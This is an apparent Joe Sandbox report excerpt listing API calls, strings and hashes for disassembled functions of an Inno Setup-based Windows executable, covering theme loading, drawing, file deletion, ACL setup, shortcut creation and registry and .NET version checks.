GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044B71F
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044B731
GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044B743
GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044B755
GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B767
GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B779
GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B78B
GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B79D
GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B7AF
GetProcAddress.KERNEL32(00000000,GetThemeString), ref: 0044B7C1
GetProcAddress.KERNEL32(00000000,GetThemeBool), ref: 0044B7D3
GetProcAddress.KERNEL32(00000000,GetThemeInt), ref: 0044B7E5
GetProcAddress.KERNEL32(00000000,GetThemeEnumValue), ref: 0044B7F7
GetProcAddress.KERNEL32(00000000,GetThemePosition), ref: 0044B809
GetProcAddress.KERNEL32(00000000,GetThemeFont), ref: 0044B81B
GetProcAddress.KERNEL32(00000000,GetThemeRect), ref: 0044B82D
GetProcAddress.KERNEL32(00000000,GetThemeMargins), ref: 0044B83F
GetProcAddress.KERNEL32(00000000,GetThemeIntList), ref: 0044B851
GetProcAddress.KERNEL32(00000000,GetThemePropertyOrigin), ref: 0044B863
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 0044B875
GetProcAddress.KERNEL32(00000000,GetThemeFilename), ref: 0044B887
GetProcAddress.KERNEL32(00000000,GetThemeSysColor), ref: 0044B899
GetProcAddress.KERNEL32(00000000,GetThemeSysColorBrush), ref: 0044B8AB
GetProcAddress.KERNEL32(00000000,GetThemeSysBool), ref: 0044B8BD
GetProcAddress.KERNEL32(00000000,GetThemeSysSize), ref: 0044B8CF
GetProcAddress.KERNEL32(00000000,GetThemeSysFont), ref: 0044B8E1
GetProcAddress.KERNEL32(00000000,GetThemeSysString), ref: 0044B8F3
GetProcAddress.KERNEL32(00000000,GetThemeSysInt), ref: 0044B905
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0044B917
GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 0044B929
GetProcAddress.KERNEL32(00000000,GetWindowTheme), ref: 0044B93B
GetProcAddress.KERNEL32(00000000,EnableThemeDialogTexture), ref: 0044B94D
GetProcAddress.KERNEL32(00000000,IsThemeDialogTextureEnabled), ref: 0044B95F
GetProcAddress.KERNEL32(00000000,GetThemeAppProperties), ref: 0044B971
GetProcAddress.KERNEL32(00000000,SetThemeAppProperties), ref: 0044B983
GetProcAddress.KERNEL32(00000000,GetCurrentThemeName), ref: 0044B995
GetProcAddress.KERNEL32(00000000,GetThemeDocumentationProperty), ref: 0044B9A7
GetProcAddress.KERNEL32(00000000,DrawThemeParentBackground), ref: 0044B9B9
GetProcAddress.KERNEL32(00000000,EnableTheming), ref: 0044B9CB

Strings

GetThemeDocumentationProperty, xrefs: 0044B99F
GetThemeTextMetrics, xrefs: 0044B717
OpenThemeData, xrefs: 0044B687
GetThemeIntList, xrefs: 0044B849
IsAppThemed, xrefs: 0044B921
IsThemeDialogTextureEnabled, xrefs: 0044B957
GetThemeColor, xrefs: 0044B795
GetThemePartSize, xrefs: 0044B6F3
DrawThemeBackground, xrefs: 0044B6AB
SetThemeAppProperties, xrefs: 0044B97B
GetThemeTextExtent, xrefs: 0044B705
GetThemeSysString, xrefs: 0044B8EB
GetThemeSysInt, xrefs: 0044B8FD
GetCurrentThemeName, xrefs: 0044B98D
GetThemeBackgroundContentRect, xrefs: 0044B6CF, 0044B6E1
GetThemeFilename, xrefs: 0044B87F
GetThemeSysFont, xrefs: 0044B8D9
GetThemeSysColor, xrefs: 0044B891
uxtheme.dll, xrefs: 0044B672
IsThemePartDefined, xrefs: 0044B771
GetThemeMargins, xrefs: 0044B837
DrawThemeParentBackground, xrefs: 0044B9B1
GetThemePropertyOrigin, xrefs: 0044B85B
GetThemeSysSize, xrefs: 0044B8C7
DrawThemeEdge, xrefs: 0044B74D
GetThemePosition, xrefs: 0044B801
GetThemeRect, xrefs: 0044B825
GetThemeSysBool, xrefs: 0044B8B5
GetThemeBackgroundRegion, xrefs: 0044B729
DrawThemeIcon, xrefs: 0044B75F
IsThemeActive, xrefs: 0044B90F
HitTestThemeBackground, xrefs: 0044B73B
GetThemeString, xrefs: 0044B7B9
DrawThemeText, xrefs: 0044B6BD
GetThemeMetric, xrefs: 0044B7A7
GetWindowTheme, xrefs: 0044B933
EnableThemeDialogTexture, xrefs: 0044B945
GetThemeEnumValue, xrefs: 0044B7EF
GetThemeInt, xrefs: 0044B7DD
GetThemeBool, xrefs: 0044B7CB
GetThemeAppProperties, xrefs: 0044B969
EnableTheming, xrefs: 0044B9C3
GetThemeFont, xrefs: 0044B813
SetWindowTheme, xrefs: 0044B86D
IsThemeBackgroundPartiallyTransparent, xrefs: 0044B783
GetThemeSysColorBrush, xrefs: 0044B8A3
CloseThemeData, xrefs: 0044B699

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$LibraryLoadVersion
String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
API String ID: 1968650500-2910565190
Opcode ID: 6c67b19e24951571b37bf4c203fa1685e3d140177509ee69aad76801aa2bc0fe
Instruction ID: 77cdb2a24b144e98dd8fe0af3c477b00202e10f27d636664339925e4e96e780e
Opcode Fuzzy Hash: 6c67b19e24951571b37bf4c203fa1685e3d140177509ee69aad76801aa2bc0fe
Instruction Fuzzy Hash: 679198F0A40B11EBEB00AFB5AD96A2A3BA8EB15714310067BB454DF295D778DC108FDD

Function 0041CA04 Relevance: 33.2, APIs: 22, Instructions: 213windowCOMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,0041A93C,?), ref: 0041CA38
73A24C40.GDI32(?,00000000,?,0041A93C,?), ref: 0041CA44
73A26180.GDI32(0041A93C,?,00000001,00000001,00000000,00000000,0041CC5A,?,?,00000000,?,0041A93C,?), ref: 0041CA68
73A24C00.GDI32(?,0041A93C,?,00000000,0041CC5A,?,?,00000000,?,0041A93C,?), ref: 0041CA78
SelectObject.GDI32(0041CE34,00000000), ref: 0041CA93
FillRect.USER32(0041CE34,?,?), ref: 0041CACE
SetTextColor.GDI32(0041CE34,00000000), ref: 0041CAE3
SetBkColor.GDI32(0041CE34,00000000), ref: 0041CAFA
PatBlt.GDI32(0041CE34,00000000,00000000,0041A93C,?,00FF0062), ref: 0041CB10
73A24C40.GDI32(?,00000000,0041CC13,?,0041CE34,00000000,?,0041A93C,?,00000000,0041CC5A,?,?,00000000,?,0041A93C), ref: 0041CB23
SelectObject.GDI32(00000000,00000000), ref: 0041CB54
73A18830.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,0041CC02,?,?,00000000,0041CC13,?,0041CE34,00000000,?,0041A93C), ref: 0041CB6C
73A122A0.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CC02,?,?,00000000,0041CC13,?,0041CE34,00000000,?), ref: 0041CB75
73A18830.GDI32(0041CE34,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CC02,?,?,00000000,0041CC13), ref: 0041CB84
73A122A0.GDI32(0041CE34,0041CE34,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CC02,?,?,00000000,0041CC13), ref: 0041CB8D
SetTextColor.GDI32(00000000,00000000), ref: 0041CBA6
SetBkColor.GDI32(00000000,00000000), ref: 0041CBBD
73A24D40.GDI32(0041CE34,00000000,00000000,0041A93C,?,00000000,00000000,00000000,00CC0020,00000000,00000000,00000000,0041CC02,?,?,00000000), ref: 0041CBD9
SelectObject.GDI32(00000000,?), ref: 0041CBE6
DeleteDC.GDI32(00000000), ref: 0041CBFC

Part of subcall function 0041A050: GetSysColor.USER32(?), ref: 0041A05A

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Color$ObjectSelect$A122A18830Text$A26180A570DeleteFillRect
String ID:
API String ID: 1381628555-0
Opcode ID: dd52d12a6b024fa5c35df86d1f57249e44ceff71b775bbbb3271d9076c63cc1d
Instruction ID: 82b5d3b79294c4079cc38f46940f8a3e5246528c32e36f15c424f6ef30e38055
Opcode Fuzzy Hash: dd52d12a6b024fa5c35df86d1f57249e44ceff71b775bbbb3271d9076c63cc1d
Instruction Fuzzy Hash: 0061F071A44608AFDB10EBE5DC86FEFB7B8EB48704F10446AB504E7281D67CA9508B69

Function 004978DC Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 251synchronizationCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000005,00000000,00497C74,?,?,00000000,?,00000000,00000000,?,0049802B,00000000,00498035,?,00000000), ref: 0049795F
CreateMutexA.KERNEL32(00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00497C74,?,?,00000000,?,00000000,00000000,?,0049802B,00000000), ref: 00497972
ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00497C74,?,?,00000000,?,00000000,00000000), ref: 00497982
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 004979A3
ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00497C74,?,?,00000000,?,00000000), ref: 004979B3

Part of subcall function 0042D444: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D4D2,?,?,?,00000001,?,00456052,00000000,004560BA), ref: 0042D479

Strings

Inno-Setup-RegSvr-Mutex, xrefs: 00497969
/REGU, xrefs: 00497935
.lst, xrefs: 004979F0
.msg, xrefs: 004979D6
Setup, xrefs: 0049794B
/REG, xrefs: 00497911

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ShowWindow$CreateFileModuleMultipleMutexNameObjectsWait
String ID: .lst$.msg$/REG$/REGU$Inno-Setup-RegSvr-Mutex$Setup
API String ID: 2000705611-3672972446
Opcode ID: 2045753806e23fd6e9fea4bee8d30805ced8101e67e5ade90995f0c82b8a892a
Instruction ID: f92775941c35c4987ffcee83f2591dcd2e8f64eb72217f5dcf8b9acaa4e0c6bb
Opcode Fuzzy Hash: 2045753806e23fd6e9fea4bee8d30805ced8101e67e5ade90995f0c82b8a892a
Instruction Fuzzy Hash: 3E91D7306182449FDF11EBA5C856BAE7BF4EB49308F5184B7F500A7392D67CAC05CB19

Function 0045A4F8 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 209COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,0045A7B4,?,?,?,?,?,00000006,?,00000000,00496D69,?,00000000,00496E0C), ref: 0045A666

Strings

Failed to delete the file; it may be in use (%d)., xrefs: 0045A755
Deleting file: %s, xrefs: 0045A605
Failed to strip read-only attribute., xrefs: 0045A64B
.chm, xrefs: 0045A594
.gid, xrefs: 0045A548
Stripped read-only attribute., xrefs: 0045A63F
.hlp, xrefs: 0045A52F
.chw, xrefs: 0045A5AD
The file appears to be in use (%d). Will delete on restart., xrefs: 0045A6AF
.lnk, xrefs: 0045A5D3
.fts, xrefs: 0045A56C

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLast
String ID: .chm$.chw$.fts$.gid$.hlp$.lnk$Deleting file: %s$Failed to delete the file; it may be in use (%d).$Failed to strip read-only attribute.$Stripped read-only attribute.$The file appears to be in use (%d). Will delete on restart.
API String ID: 1452528299-3112430753
Opcode ID: 127c5c00bd7f07bd664bda2d415f16e76833b4e90778cf540cd654be4338eef0
Instruction ID: 580fd2345af5d8a11a71580b87de25b1444814d8228b9e74f7717922954df390
Opcode Fuzzy Hash: 127c5c00bd7f07bd664bda2d415f16e76833b4e90778cf540cd654be4338eef0
Instruction Fuzzy Hash: E07181307002445BCB01EB6988817AE7BB59F48319F50866BFC01EB383DB7CDE59879A

Function 0045C9E0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 182libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 0045C9FA
GetModuleHandleA.KERNEL32(advapi32.dll), ref: 0045CA1A
GetProcAddress.KERNEL32(00000000,GetNamedSecurityInfoW), ref: 0045CA27
GetProcAddress.KERNEL32(00000000,SetNamedSecurityInfoW), ref: 0045CA34
GetProcAddress.KERNEL32(00000000,SetEntriesInAclW), ref: 0045CA42

Part of subcall function 0045C8E8: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0045C987,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045C961

AllocateAndInitializeSid.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045CC35,?,?,00000000), ref: 0045CAFB
GetLastError.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045CC35,?,?,00000000), ref: 0045CB04

Strings

W, xrefs: 0045CB12
GetNamedSecurityInfoW, xrefs: 0045CA21
SetEntriesInAclW, xrefs: 0045CA3C
advapi32.dll, xrefs: 0045CA15
SetNamedSecurityInfoW, xrefs: 0045CA2E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$AllocateByteCharErrorHandleInitializeLastModuleMultiVersionWide
String ID: GetNamedSecurityInfoW$SetEntriesInAclW$SetNamedSecurityInfoW$W$advapi32.dll
API String ID: 59345061-4263478283
Opcode ID: d4e9dcddc66f996bc70a3a05105cdd7da188d764776208506d3c6d6334ff02cf
Instruction ID: 7cfcd68cf7d50f34506c8699d7ac6bd3cbd645d605ef7a14e0a5f99aee2185cc
Opcode Fuzzy Hash: d4e9dcddc66f996bc70a3a05105cdd7da188d764776208506d3c6d6334ff02cf
Instruction Fuzzy Hash: C25186B1D00308EFDB11DF99C885BAEBBB8EB4C311F14806AF915B7241C6799945CFA9

Function 00456538 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 282comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00499A74,00000000,00000001,00499774,?,00000000,00456875), ref: 0045657A
CoCreateInstance.OLE32(00499764,00000000,00000001,00499774,?,00000000,00456875), ref: 004565A0
SysFreeString.OLEAUT32(?), ref: 0045672D

Strings

IPropertyStore::Commit, xrefs: 0045677D
IPersistFile::Save, xrefs: 004567FC
IShellLink::QueryInterface(IID_IPropertyStore), xrefs: 0045668F
IPropertyStore::SetValue(PKEY_AppUserModel_ID), xrefs: 00456712
IPropertyStore::SetValue(PKEY_AppUserModel_PreventPinning), xrefs: 004566C3
CoCreateInstance, xrefs: 004565AB
IPropertyStore::SetValue(PKEY_AppUserModel_ExcludeFromShowInNewInstall), xrefs: 00456764
IShellLink::QueryInterface(IID_IPersistFile), xrefs: 0045679E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateInstance$FreeString
String ID: CoCreateInstance$IPersistFile::Save$IPropertyStore::Commit$IPropertyStore::SetValue(PKEY_AppUserModel_ExcludeFromShowInNewInstall)$IPropertyStore::SetValue(PKEY_AppUserModel_ID)$IPropertyStore::SetValue(PKEY_AppUserModel_PreventPinning)$IShellLink::QueryInterface(IID_IPersistFile)$IShellLink::QueryInterface(IID_IPropertyStore)
API String ID: 308859552-3936712486
Opcode ID: d9c88e13b0211f2ae0e7d78f7e27283256602066dc9cc7621edf88d817652462
Instruction ID: c38ea0ca400292199a4bf55cc3a6d877564858b73cfd7edbf1df179bb9384e2e
Opcode Fuzzy Hash: d9c88e13b0211f2ae0e7d78f7e27283256602066dc9cc7621edf88d817652462
Instruction Fuzzy Hash: A5A12170A00145AFDB50DFA9C885B9E7BF8AF09306F55406AF804E7362DB38DD48CB69

Function 0041B3A4 Relevance: 21.1, APIs: 14, Instructions: 126windowCOMMON

Download Yara Rule

APIs

73A24C40.GDI32(00000000,?,00000000,?), ref: 0041B3BB
73A24C40.GDI32(00000000,00000000,?,00000000,?), ref: 0041B3C5
GetObjectA.GDI32(?,00000018,00000004), ref: 0041B3D7
73A26180.GDI32(0000000B,?,00000001,00000001,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B3EE
73A1A570.USER32(00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B3FA
73A24C00.GDI32(00000000,0000000B,?,00000000,0041B453,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B427
73A1A480.USER32(00000000,00000000,0041B45A,00000000,0041B453,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B44D
SelectObject.GDI32(00000000,?), ref: 0041B468
SelectObject.GDI32(?,00000000), ref: 0041B477
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B4A3
SelectObject.GDI32(00000000,00000000), ref: 0041B4B1
SelectObject.GDI32(?,00000000), ref: 0041B4BF
DeleteDC.GDI32(00000000), ref: 0041B4C8
DeleteDC.GDI32(?), ref: 0041B4D1

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Object$Select$Delete$A26180A480A570Stretch
String ID:
API String ID: 359944910-0
Opcode ID: eea4d520f28c0b9b1f45a8d73eca5c5381e7292da506ec26be0ce79386cc84d5
Instruction ID: 33ab0b3d7217a913ee79b1f77f60082389afcfeada11791300d2e7ee1e5313f5
Opcode Fuzzy Hash: eea4d520f28c0b9b1f45a8d73eca5c5381e7292da506ec26be0ce79386cc84d5
Instruction Fuzzy Hash: FC41BC71E44619AFDB10DAE9C946FEFB7BCEB08704F104466B614F7281D678AD408BA8

Function 00472930 Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 337COMMON

Download Yara Rule

APIs

Part of subcall function 0042C7FC: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C820

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00472AE8
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 00472BEF
SHChangeNotify.SHELL32(00000002,00000001,00000000,00000000), ref: 00472C05
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 00472C2A

Strings

.lnk, xrefs: 004729BC
Filename: %s, xrefs: 00472A8A
target.lnk, xrefs: 00472C74
.pif, xrefs: 004729DF, 00472B73
Desktop.ini, xrefs: 00472CAB
{group}\, xrefs: 0047298A
.url, xrefs: 00472A02

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ChangeNotify$FullNamePathPrivateProfileStringWrite
String ID: .lnk$.pif$.url$Desktop.ini$Filename: %s$target.lnk${group}\
API String ID: 971782779-3668018701
Opcode ID: ca3bd86af9356875fb255c0965e6d4b7c6ab4e57c2ddb924be80171e39f68e51
Instruction ID: fd1e6c444996228d4851cdbb4885a0c41f61386fce8022a34f2115261328fc48
Opcode Fuzzy Hash: ca3bd86af9356875fb255c0965e6d4b7c6ab4e57c2ddb924be80171e39f68e51
Instruction Fuzzy Hash: 06D13574A001499FDB11EFA9D981BDEBBF4AF08304F50806AF904B7392D778AD45CB69

Function 00454848 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 244registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE14: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0048319F,?,00000001,?,?,0048319F,?,00000001,00000000), ref: 0042DE30

RegQueryValueExA.ADVAPI32(0045A98A,00000000,00000000,?,00000000,?,00000000,00454AE1,?,0045A98A,00000003,00000000,00000000,00454B18), ref: 00454961

Part of subcall function 0042E8C0: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453247,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8DF

RegQueryValueExA.ADVAPI32(0045A98A,00000000,00000000,00000000,?,00000004,00000000,00454A2B,?,0045A98A,00000000,00000000,?,00000000,?,00000000), ref: 004549E5
RegQueryValueExA.ADVAPI32(0045A98A,00000000,00000000,00000000,?,00000004,00000000,00454A2B,?,0045A98A,00000000,00000000,?,00000000,?,00000000), ref: 00454A14

Strings

RegOpenKeyEx, xrefs: 004548E4
, xrefs: 004548D2
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 0045487F
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 004548B8

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: QueryValue$FormatMessageOpen
String ID: $RegOpenKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2812809588-1577016196
Opcode ID: 0e91def5215c87c363aa53ad37b130579f95eb5f388cba70c6f61ed9a91dbc8c
Instruction ID: ff4e522da132bb0e31d6f3ae6b90b680e2e6169bdaf0a1bf0a59660f44ee0e74
Opcode Fuzzy Hash: 0e91def5215c87c363aa53ad37b130579f95eb5f388cba70c6f61ed9a91dbc8c
Instruction Fuzzy Hash: 5B912571E44108ABDB40DFD5D942BDEB7F8EB48309F10406AF900FB682D6789E459B69

Function 00459278 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 165registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00459184: RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,004592C1,00000000,00459479,?,00000000,00000000,00000000), ref: 004591D1

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00459479,?,00000000,00000000,00000000), ref: 0045931F
RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00459479,?,00000000,00000000,00000000), ref: 00459389

Part of subcall function 0042DE14: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0048319F,?,00000001,?,?,0048319F,?,00000001,00000000), ref: 0042DE30

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000001,00000000,00000000,00459479,?,00000000,00000000,00000000), ref: 004593F0

Strings

SOFTWARE\Microsoft\.NETFramework\Policy\v1.1, xrefs: 004593A3
.NET Framework not found, xrefs: 0045943D
v1.1.4322, xrefs: 004593E2
v4.0.30319, xrefs: 00459311
v2.0.50727, xrefs: 0045937B
.NET Framework version %s not found, xrefs: 00459429
SOFTWARE\Microsoft\.NETFramework\Policy\v2.0, xrefs: 0045933C
SOFTWARE\Microsoft\.NETFramework\Policy\v4.0, xrefs: 004592D2

Memory Dump Source

